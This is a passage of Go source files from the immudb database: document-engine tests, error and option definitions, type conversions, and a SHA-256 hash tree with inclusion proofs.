&protomodel.Field{ Name: "1invalidFieldName", Type: protomodel.FieldType_INTEGER, }, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("create index with a new field name should succeed", func(t *testing.T) { _, _, err := engine.InsertDocument( context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": structpb.NewNumberValue(1), "title": structpb.NewStringValue("title1"), "comment": structpb.NewStringValue("some comment"), }, }) require.NoError(t, err) err = engine.RemoveField( context.Background(), "admin", collectionName, "title", ) require.NoError(t, err) err = engine.AddField( context.Background(), "admin", collectionName, &protomodel.Field{ Name: "active", Type: protomodel.FieldType_BOOLEAN, }, ) require.NoError(t, err) err = engine.AddField( context.Background(), "admin", collectionName, &protomodel.Field{ Name: "active", Type: protomodel.FieldType_BOOLEAN, }, ) require.ErrorIs(t, err, ErrFieldAlreadyExists) err = engine.CreateIndex( context.Background(), "admin", collectionName, []string{"active"}, false, ) require.NoError(t, err) _, _, err = engine.InsertDocument( context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": structpb.NewNumberValue(1), "title": structpb.NewStringValue("title1"), "comment": structpb.NewStringValue("some comment"), }, }) require.NoError(t, err) err = engine.RemoveField( context.Background(), "admin", collectionName, "active", ) require.ErrorIs(t, err, sql.ErrCannotDropColumn) err = engine.DeleteIndex( context.Background(), "admin", collectionName, []string{"active"}, ) require.NoError(t, err) err = engine.RemoveField( context.Background(), "admin", collectionName, "active", ) require.NoError(t, err) err = engine.RemoveField( context.Background(), "admin", collectionName, "active", ) require.ErrorIs(t, err, ErrFieldDoesNotExist) }) t.Run("delete index with invalid collection name should fail", func(t *testing.T) { // update collection err := engine.DeleteIndex( context.Background(), "admin", "1invalidCollectionName", []string{"number"}, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("delete index without fields should fail", func(t *testing.T) { // update collection err := engine.DeleteIndex( context.Background(), "admin", collectionName, []string{}, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("delete index with invalid field name should fail", func(t *testing.T) { // update collection err := engine.DeleteIndex( context.Background(), "admin", collectionName, []string{"1invalidFieldName"}, ) require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("update collection by deleting indexes", func(t *testing.T) { // update collection err := engine.DeleteIndex( context.Background(), "admin", collectionName, []string{"number"}, ) require.NoError(t, err) // get collection collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Len(t, collection.Indexes, 1) }) t.Run("update collection by adding the same index should pass", func(t *testing.T) { // update collection err := engine.CreateIndex( context.Background(), "admin", collectionName, []string{"number"}, false, ) require.NoError(t, err) // get collection collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Len(t, collection.Indexes, 2) }) } func TestBulkInsert(t *testing.T) { ctx := context.Background() engine := makeEngine(t) // create collection collectionName := "mycollection" err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "price", Type: protomodel.FieldType_DOUBLE}, }, []*protomodel.Index{ {Fields: []string{"country"}}, {Fields: []string{"price"}}, }, ) require.NoError(t, err) // add documents to collection docs := make([]*structpb.Struct, 0) for i := 1.0; i <= 10; i++ { doc := &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), "price": structpb.NewNumberValue(i), }, } docs = append(docs, doc) } txID, docIDs, err := engine.InsertDocuments(ctx, "admin", collectionName, docs) require.NoError(t, err) require.Equal(t, uint64(2), txID) require.Len(t, docIDs, 10) reader, err := engine.GetDocuments(ctx, &protomodel.Query{CollectionName: collectionName}, 0) require.NoError(t, err) defer reader.Close() res, err := reader.ReadN(ctx, 10) require.NoError(t, err) require.Len(t, docs, 10) for i, doc := range res { require.Equal(t, float64(i+1), doc.Document.Fields["price"].GetNumberValue()) } } func TestPaginationOnReader(t *testing.T) { ctx := context.Background() engine := makeEngine(t) // create collection collectionName := "mycollection" err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "country", Type: protomodel.FieldType_STRING}, {Name: "pincode", Type: protomodel.FieldType_INTEGER}, }, []*protomodel.Index{ {Fields: []string{"country"}}, {Fields: []string{"pincode"}}, }, ) require.NoError(t, err) // add documents to collection for i := 1.0; i <= 20; i++ { _, _, err = engine.InsertDocument(ctx, "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), "pincode": structpb.NewNumberValue(i), }, }) require.NoError(t, err) } t.Run("test reader for multiple reads", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "pincode", Operator: protomodel.ComparisonOperator_GE, Value: structpb.NewNumberValue(0), }, }, }, }, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() results := make([]*protomodel.DocumentAtRevision, 0) // use the reader to read paginated documents 5 at a time for i := 0; i < 4; i++ { docs, err := reader.ReadN(ctx, 5) require.NoError(t, err) require.Len(t, docs, 5) results = append(results, docs...) } for i := 1.0; i <= 20; i++ { doc := results[int(i-1)] require.Equal(t, i, doc.Document.Fields["pincode"].GetNumberValue()) } }) } func TestDeleteDocument(t *testing.T) { ctx := context.Background() engine := makeEngine(t) // create collection collectionName := "mycollection" err := engine.CreateCollection(context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "pincode", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, nil) require.NoError(t, err) // add document to collection _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": structpb.NewNumberValue(2), "country": structpb.NewStringValue("wonderland"), }, }) require.NoError(t, err) query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "country", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewStringValue("wonderland"), }, { Field: "pincode", Operator: protomodel.ComparisonOperator_EQ, Value: structpb.NewNumberValue(2), }, }, }, }, Limit: 1, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, 1) require.NoError(t, err) require.Len(t, docs, 1) err = engine.DeleteDocuments(ctx, "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) err = engine.DeleteDocuments(ctx, "admin", query) require.NoError(t, err) reader, err = engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() _, err = reader.Read(ctx) require.ErrorIs(t, ErrNoMoreDocuments, err) } func TestGetCollection(t *testing.T) { engine := makeEngine(t) collectionName := "mycollection1" err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, }, []*protomodel.Index{ {Fields: []string{"number"}}, {Fields: []string{"name"}}, {Fields: []string{"pin"}}, {Fields: []string{"country"}}, }, ) require.NoError(t, err) collection, err := engine.GetCollection(context.Background(), collectionName) require.NoError(t, err) require.Equal(t, collectionName, collection.Name) require.Len(t, collection.Fields, 5) require.Len(t, collection.Indexes, 5) expectedIndexKeys := []*protomodel.Field{ {Name: "_id", Type: protomodel.FieldType_STRING}, {Name: "number", Type: protomodel.FieldType_INTEGER}, {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, } for i, idxType := range expectedIndexKeys { require.Equal(t, idxType.Name, collection.Fields[i].Name) require.Equal(t, idxType.Type, collection.Fields[i].Type) } } func TestGetDocuments_WithOrderBy(t *testing.T) { ctx := context.Background() engine := makeEngine(t) collectionName := "mycollection" err := engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "age", Type: protomodel.FieldType_DOUBLE}, }, []*protomodel.Index{ {Fields: []string{"number", "age"}}, }, ) require.NoError(t, err) noOfDocs := 5 for i := 1; i <= noOfDocs; i++ { _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": structpb.NewNumberValue(float64(i)), }, }) require.NoError(t, err) } t.Run("order by single field", func(t *testing.T) { query := &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ { Field: "number", Operator: protomodel.ComparisonOperator_LE, Value: structpb.NewNumberValue(5), }, }, }, }, OrderBy: []*protomodel.OrderByClause{{ Field: "number", Desc: true, }}, } reader, err := engine.GetDocuments(ctx, query, 0) require.NoError(t, err) defer reader.Close() docs, err := reader.ReadN(ctx, noOfDocs) require.NoError(t, err) require.Len(t, docs, 5) i := noOfDocs for _, doc := range docs { require.Equal(t, float64(i), doc.Document.Fields["number"].GetNumberValue()) i-- } }) } func BenchmarkInsertion(b *testing.B) { stOpts := store.DefaultOptions(). WithMultiIndexing(true). WithMaxConcurrency(100) st, err := store.Open(b.TempDir(), stOpts) require.NoError(b, err) defer func() { err := st.Close() if !b.Failed() { // Do not pollute error output if test has already failed require.NoError(b, err) } }() engine, err := NewEngine(st, DefaultOptions().WithPrefix(docPrefix)) require.NoError(b, err) collectionName := "mycollection" err = engine.CreateCollection( context.Background(), "admin", collectionName, "", []*protomodel.Field{ {Name: "number", Type: protomodel.FieldType_DOUBLE}, {Name: "age", Type: protomodel.FieldType_DOUBLE}, }, []*protomodel.Index{ {Fields: []string{"number", "age"}}, }, ) require.NoError(b, err) b.ResetTimer() noOfWorkers := 100 noOfDocs := 10 for it := 0; it < 1; it++ { var wg sync.WaitGroup wg.Add(noOfWorkers) for w := 0; w < noOfWorkers; w++ { go func(w int) { for i := 1; i <= noOfDocs; i++ { _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": structpb.NewNumberValue(float64(w*noOfDocs + i)), }, }) if err != nil { b.Fail() } } wg.Done() }(w) } wg.Wait() } } ================================================ FILE: embedded/document/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "errors" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" ) var ( ErrIllegalArguments = store.ErrIllegalArguments ErrUnsupportedType = errors.New("unsupported type") ErrUnexpectedValue = errors.New("unexpected value") ErrCollectionAlreadyExists = errors.New("collection already exists") ErrCollectionDoesNotExist = errors.New("collection does not exist") ErrMaxLengthExceeded = errors.New("max length exceeded") ErrMultipleDocumentsFound = errors.New("multiple documents found") ErrDocumentNotFound = errors.New("document not found") ErrNoMoreDocuments = errors.New("no more documents") ErrFieldAlreadyExists = errors.New("field already exists") ErrFieldDoesNotExist = errors.New("field does not exist") ErrReservedName = errors.New("reserved name") ErrLimitedIndexCreation = errors.New("unique index creation is only supported on empty collections") ErrConflict = errors.New("conflict due to uniqueness contraint violation or read document was updated by another transaction") ) func mayTranslateError(err error) error { if err == nil { return nil } if errors.Is(err, sql.ErrTableAlreadyExists) { return ErrCollectionAlreadyExists } if errors.Is(err, sql.ErrTableDoesNotExist) { return ErrCollectionDoesNotExist } if errors.Is(err, sql.ErrNoMoreRows) { return ErrNoMoreDocuments } if errors.Is(err, sql.ErrColumnAlreadyExists) { return ErrFieldAlreadyExists } if errors.Is(err, sql.ErrColumnDoesNotExist) { return ErrFieldDoesNotExist } if errors.Is(err, sql.ErrLimitedIndexCreation) { return ErrLimitedIndexCreation } if errors.Is(err, store.ErrTxReadConflict) { return ErrConflict } if errors.Is(err, store.ErrKeyAlreadyExists) { return ErrConflict } return err } ================================================ FILE: embedded/document/errors_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "errors" "testing" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" ) func TestMayTranslateError(t *testing.T) { errCustom := errors.New("custom error") // Test cases with different error inputs testCases := []struct { inputError error expected error }{ {nil, nil}, {sql.ErrTableAlreadyExists, ErrCollectionAlreadyExists}, {sql.ErrTableDoesNotExist, ErrCollectionDoesNotExist}, {sql.ErrNoMoreRows, ErrNoMoreDocuments}, {sql.ErrColumnAlreadyExists, ErrFieldAlreadyExists}, {sql.ErrColumnDoesNotExist, ErrFieldDoesNotExist}, {sql.ErrLimitedIndexCreation, ErrLimitedIndexCreation}, {store.ErrTxReadConflict, ErrConflict}, {store.ErrKeyAlreadyExists, ErrConflict}, {errCustom, errCustom}, } // Run the test cases for _, tc := range testCases { result := mayTranslateError(tc.inputError) if result != tc.expected { t.Errorf("Error translation mismatch. Input: %v, Expected: %v, Got: %v", tc.inputError, tc.expected, result) } } } ================================================ FILE: embedded/document/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "fmt" "github.com/codenotary/immudb/embedded/store" ) const DefaultDocumentMaxNestedFields = 3 type Options struct { prefix []byte maxNestedFields int } func DefaultOptions() *Options { return &Options{ maxNestedFields: DefaultDocumentMaxNestedFields, } } func (opts *Options) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", store.ErrInvalidOptions) } return nil } func (opts *Options) WithPrefix(prefix []byte) *Options { opts.prefix = prefix return opts } func (opts *Options) WithMaxNestedFields(maxNestedFields int) *Options { opts.maxNestedFields = maxNestedFields return opts } ================================================ FILE: embedded/document/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "testing" "github.com/codenotary/immudb/embedded/store" "github.com/stretchr/testify/require" ) func TestDefaultOptions(t *testing.T) { // Call the DefaultOptions function opts := DefaultOptions() // Assert that the returned value is not nil require.NotNil(t, opts) require.Equal(t, DefaultDocumentMaxNestedFields, opts.maxNestedFields) } func TestOptionsValidate(t *testing.T) { // Test case with non-nil options opts := &Options{} err := opts.Validate() require.Nil(t, err, "Expected no error for non-nil options") // Test case with nil options var nilOpts *Options err = nilOpts.Validate() require.NotNil(t, err, "Expected error for nil options") require.ErrorIs(t, err, store.ErrInvalidOptions, "Expected ErrInvalidOptions error") require.Equal(t, "illegal arguments: invalid options: nil options", err.Error(), "Expected specific error message") } func TestOptionsWithPrefix(t *testing.T) { // Create initial options opts := &Options{} // Call the WithPrefix method prefix := []byte("test") newOpts := opts.WithPrefix(prefix) // Assert that the returned options have the correct prefix require.Equal(t, prefix, newOpts.prefix, "Expected prefix to be set in the new options") } func TestOptionsWithMaxNestedFields(t *testing.T) { opts := DefaultOptions().WithMaxNestedFields(20) require.Equal(t, 20, opts.maxNestedFields) } ================================================ FILE: embedded/document/type_conversions.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "fmt" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/google/uuid" "google.golang.org/protobuf/types/known/structpb" ) var structValueToSqlValue = func(value *structpb.Value, sqlType sql.SQLValueType) (sql.ValueExp, error) { if _, ok := value.GetKind().(*structpb.Value_NullValue); ok { return sql.NewNull(sql.AnyType), nil } switch sqlType { case sql.VarcharType: _, ok := value.GetKind().(*structpb.Value_StringValue) if !ok { return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } return sql.NewVarchar(value.GetStringValue()), nil case sql.UUIDType: _, ok := value.GetKind().(*structpb.Value_StringValue) if !ok { return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } u, err := uuid.Parse(value.GetStringValue()) if err != nil { return nil, fmt.Errorf("%w: can not parse '%s' as an UUID", err, value.GetStringValue()) } return sql.NewUUID(u), nil case sql.IntegerType: _, ok := value.GetKind().(*structpb.Value_NumberValue) if !ok { return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } return sql.NewInteger(int64(value.GetNumberValue())), nil case sql.BLOBType: _, ok := value.GetKind().(*structpb.Value_StringValue) if !ok { return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } docID, err := NewDocumentIDFromHexEncodedString(value.GetStringValue()) if err != nil { return nil, err } return sql.NewBlob(docID[:]), nil case sql.Float64Type: _, ok := value.GetKind().(*structpb.Value_NumberValue) if !ok { return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } return sql.NewFloat64(value.GetNumberValue()), nil case sql.BooleanType: _, ok := value.GetKind().(*structpb.Value_BoolValue) if !ok { return nil, fmt.Errorf("%w: expecting value of type %s", ErrUnexpectedValue, sqlType) } return sql.NewBool(value.GetBoolValue()), nil } return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, sqlType) } var protomodelValueTypeToSQLValueType = func(stype protomodel.FieldType) (sql.SQLValueType, error) { switch stype { case protomodel.FieldType_STRING: return sql.VarcharType, nil case protomodel.FieldType_UUID: return sql.UUIDType, nil case protomodel.FieldType_INTEGER: return sql.IntegerType, nil case protomodel.FieldType_DOUBLE: return sql.Float64Type, nil case protomodel.FieldType_BOOLEAN: return sql.BooleanType, nil } return "", fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } var sqlValueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) { switch stype { case sql.VarcharType: return sql.MaxKeyLen, nil case sql.UUIDType: return 0, nil case sql.IntegerType: return 0, nil case sql.BLOBType: return sql.MaxKeyLen, nil case sql.Float64Type: return 0, nil case sql.BooleanType: return 0, nil } return 0, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } func kvMetadataToProto(kvMetadata *store.KVMetadata) *protomodel.DocumentMetadata { if kvMetadata == nil { return nil } return &protomodel.DocumentMetadata{ Deleted: kvMetadata.Deleted(), } } ================================================ FILE: embedded/document/type_conversions_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package document import ( "fmt" "testing" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/protomodel" ) func TestStructValueToSqlValue(t *testing.T) { // Test case for VarcharType value := &structpb.Value{ Kind: &structpb.Value_StringValue{StringValue: "test"}, } result, err := structValueToSqlValue(value, sql.VarcharType) require.NoError(t, err, "Expected no error for VarcharType") require.Equal(t, sql.NewVarchar("test"), result, "Expected Varchar value") // Test case for VarcharType with NULL value value = &structpb.Value{ Kind: &structpb.Value_NullValue{}, } result, err = structValueToSqlValue(value, sql.VarcharType) require.NoError(t, err, "Expected no error for VarcharType with NULL value") require.Equal(t, sql.NewNull(sql.AnyType), result, "Expected NULL value") // Test case for IntegerType value = &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 42}, } result, err = structValueToSqlValue(value, sql.IntegerType) require.NoError(t, err, "Expected no error for IntegerType") require.Equal(t, sql.NewInteger(42), result, "Expected Integer value") // Test case for IntegerType with NULL value value = &structpb.Value{ Kind: &structpb.Value_NullValue{}, } result, err = structValueToSqlValue(value, sql.IntegerType) require.NoError(t, err, "Expected no error for IntegerType with NULL value") require.Equal(t, sql.NewNull(sql.AnyType), result, "Expected NULL value") // Test case for BLOBType value = &structpb.Value{ Kind: &structpb.Value_StringValue{StringValue: "1234"}, } result, err = structValueToSqlValue(value, sql.BLOBType) require.NoError(t, err, "Expected no error for BLOBType") docID, err := NewDocumentIDFromHexEncodedString("1234") require.NoError(t, err) expectedBlob := sql.NewBlob(docID[:]) require.Equal(t, expectedBlob, result, "Expected Blob value") // Test case for BLOBType with NULL value value = &structpb.Value{ Kind: &structpb.Value_NullValue{}, } result, err = structValueToSqlValue(value, sql.BLOBType) require.NoError(t, err, "Expected no error for BLOBType with NULL value") require.Equal(t, sql.NewNull(sql.AnyType), result, "Expected NULL value") // Test case for Float64Type value = &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 3.14}, } result, err = structValueToSqlValue(value, sql.Float64Type) require.NoError(t, err, "Expected no error for Float64Type") require.Equal(t, sql.NewFloat64(3.14), result, "Expected Float64 value") // Test case for Float64Type with NULL value value = &structpb.Value{ Kind: &structpb.Value_NullValue{}, } result, err = structValueToSqlValue(value, sql.Float64Type) require.NoError(t, err, "Expected no error for Float64Type with NULL value") require.Equal(t, sql.NewNull(sql.AnyType), result, "Expected NULL value") // Test case for BooleanType value = &structpb.Value{ Kind: &structpb.Value_BoolValue{BoolValue: true}, } result, err = structValueToSqlValue(value, sql.BooleanType) require.NoError(t, err, "Expected no error for BooleanType") require.Equal(t, sql.NewBool(true), result, "Expected Boolean value") // Test case for BooleanType with NULL value value = &structpb.Value{ Kind: &structpb.Value_NullValue{}, } result, err = structValueToSqlValue(value, sql.BooleanType) require.NoError(t, err, "Expected no error for BooleanType with NULL value") require.Equal(t, sql.NewNull(sql.AnyType), result, "Expected NULL value") // Test case for unsupported type value = &structpb.Value{ Kind: &structpb.Value_ListValue{}, } result, err = structValueToSqlValue(value, "datetime") require.ErrorIs(t, err, ErrUnsupportedType, "Expected error for unsupported type") require.Nil(t, result, "Expected nil result for unsupported type") } func TestProtomodelValueTypeToSQLValueType(t *testing.T) { testCases := []struct { name string valueType protomodel.FieldType sqlType sql.SQLValueType expectErr error }{ { name: "string", valueType: protomodel.FieldType_STRING, sqlType: sql.VarcharType, expectErr: nil, }, { name: "integer", valueType: protomodel.FieldType_INTEGER, sqlType: sql.IntegerType, expectErr: nil, }, { name: "double", valueType: protomodel.FieldType_DOUBLE, sqlType: sql.Float64Type, expectErr: nil, }, { name: "boolean", valueType: protomodel.FieldType_BOOLEAN, sqlType: sql.BooleanType, expectErr: nil, }, { name: "unsupported", valueType: 999, sqlType: "", expectErr: fmt.Errorf("%w(%d)", ErrUnsupportedType, 999), }, } for _, tc := range testCases { t.Run(tc.name, func(t *testing.T) { sqlType, err := protomodelValueTypeToSQLValueType(tc.valueType) require.Equal(t, tc.expectErr, err) require.Equal(t, tc.sqlType, sqlType) }) } } func TestSQLValueTypeDefaultLength(t *testing.T) { testCases := []struct { name string valueType sql.SQLValueType length int expectErr error }{ { name: "varchar", valueType: sql.VarcharType, length: sql.MaxKeyLen, expectErr: nil, }, { name: "integer", valueType: sql.IntegerType, length: 0, expectErr: nil, }, { name: "blob", valueType: sql.BLOBType, length: sql.MaxKeyLen, expectErr: nil, }, { name: "float64", valueType: sql.Float64Type, length: 0, expectErr: nil, }, { name: "boolean", valueType: sql.BooleanType, length: 0, expectErr: nil, }, { name: "unsupported", valueType: "unknown", length: 0, expectErr: fmt.Errorf("%w(%s)", ErrUnsupportedType, "unknown"), }, } for _, tc := range testCases { t.Run(tc.name, func(t *testing.T) { length, err := sqlValueTypeDefaultLength(tc.valueType) require.Equal(t, tc.expectErr, err) require.Equal(t, tc.length, length) }) } } ================================================ FILE: embedded/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package embedded import "errors" var ErrIllegalArguments = errors.New("illegal arguments") var ErrAlreadyClosed = errors.New("already closed") var ErrKeyNotFound = errors.New("key not found") var ErrOffsetOutOfRange = errors.New("offset out of range") var ErrIllegalState = errors.New("illegal state") var ErrNoMoreEntries = errors.New("no more entries") var ErrReadersNotClosed = errors.New("readers not closed") ================================================ FILE: embedded/htree/htree.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package htree import ( "crypto/sha256" "errors" "math/bits" ) var ErrMaxWidthExceeded = errors.New("htree: max width exceeded") var ErrIllegalArguments = errors.New("htree: illegal arguments") var ErrIllegalState = errors.New("htree: illegal state") const LeafPrefix = byte(0) const NodePrefix = byte(1) type HTree struct { levels [][][sha256.Size]byte maxWidth int width int root [sha256.Size]byte } type InclusionProof struct { Leaf int Width int Terms [][sha256.Size]byte } func New(maxWidth int) (*HTree, error) { var levels [][][sha256.Size]byte if maxWidth > 0 { lw := 1 for lw < maxWidth { lw = lw << 1 } height := bits.Len64(uint64(maxWidth-1)) + 1 levels = make([][][sha256.Size]byte, height) for l := 0; l < height; l++ { levels[l] = make([][sha256.Size]byte, lw>>l) } } return &HTree{ levels: levels, maxWidth: maxWidth, }, nil } func (t *HTree) BuildWith(digests [][sha256.Size]byte) error { if len(digests) > t.maxWidth { return ErrMaxWidthExceeded } if len(digests) == 0 { t.width = 0 t.root = sha256.Sum256(nil) return nil } for i, d := range digests { leaf := [1 + sha256.Size]byte{LeafPrefix} copy(leaf[1:], d[:]) t.levels[0][i] = sha256.Sum256(leaf[:]) } l := 0 w := len(digests) for w > 1 { b := [1 + 2*sha256.Size]byte{NodePrefix} wn := 0 for i := 0; i+1 < w; i += 2 { copy(b[1:], t.levels[l][i][:]) copy(b[1+sha256.Size:], t.levels[l][i+1][:]) t.levels[l+1][wn] = sha256.Sum256(b[:]) wn++ } if w%2 == 1 { t.levels[l+1][wn] = t.levels[l][w-1] wn++ } l++ w = wn } t.width = len(digests) t.root = t.levels[l][0] return nil } func (t *HTree) Root() [sha256.Size]byte { return t.root } // InclusionProof returns the shortest list of additional nodes required to compute the root // It's an adaption from the algorithm for proof construction at github.com/codenotary/merkletree func (t *HTree) InclusionProof(i int) (proof *InclusionProof, err error) { if i >= t.width { return nil, ErrIllegalArguments } m := i n := t.width var offset int var l int var r int proof = &InclusionProof{ Leaf: i, Width: t.width, } if t.width == 1 { return } for { d := bits.Len(uint(n - 1)) k := 1 << (d - 1) if m < k { l, r = offset+k, offset+n-1 n = k } else { l, r = offset, offset+k-1 m = m - k n = n - k offset += k } layer := bits.Len(uint(r - l)) index := l / (1 << layer) proof.Terms = append([][sha256.Size]byte{t.levels[layer][index]}, proof.Terms...) if n < 1 || (n == 1 && m == 0) { return } } } func VerifyInclusion(proof *InclusionProof, digest, root [sha256.Size]byte) bool { if proof == nil { return false } leaf := [1 + sha256.Size]byte{LeafPrefix} copy(leaf[1:], digest[:]) calcRoot := sha256.Sum256(leaf[:]) i := proof.Leaf r := proof.Width - 1 for _, t := range proof.Terms { b := [1 + 2*sha256.Size]byte{NodePrefix} if i%2 == 0 && i != r { copy(b[1:], calcRoot[:]) copy(b[1+sha256.Size:], t[:]) } else { copy(b[1:], t[:]) copy(b[1+sha256.Size:], calcRoot[:]) } calcRoot = sha256.Sum256(b[:]) i /= 2 r /= 2 } return i == r && root == calcRoot } ================================================ FILE: embedded/htree/htree_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package htree import ( "crypto/sha256" "encoding/binary" "testing" "github.com/stretchr/testify/require" ) func TestHTree(t *testing.T) { const maxWidth = 1000 tree, err := New(0) require.NoError(t, err) err = tree.BuildWith([][sha256.Size]byte{sha256.Sum256(nil)}) require.ErrorIs(t, err, 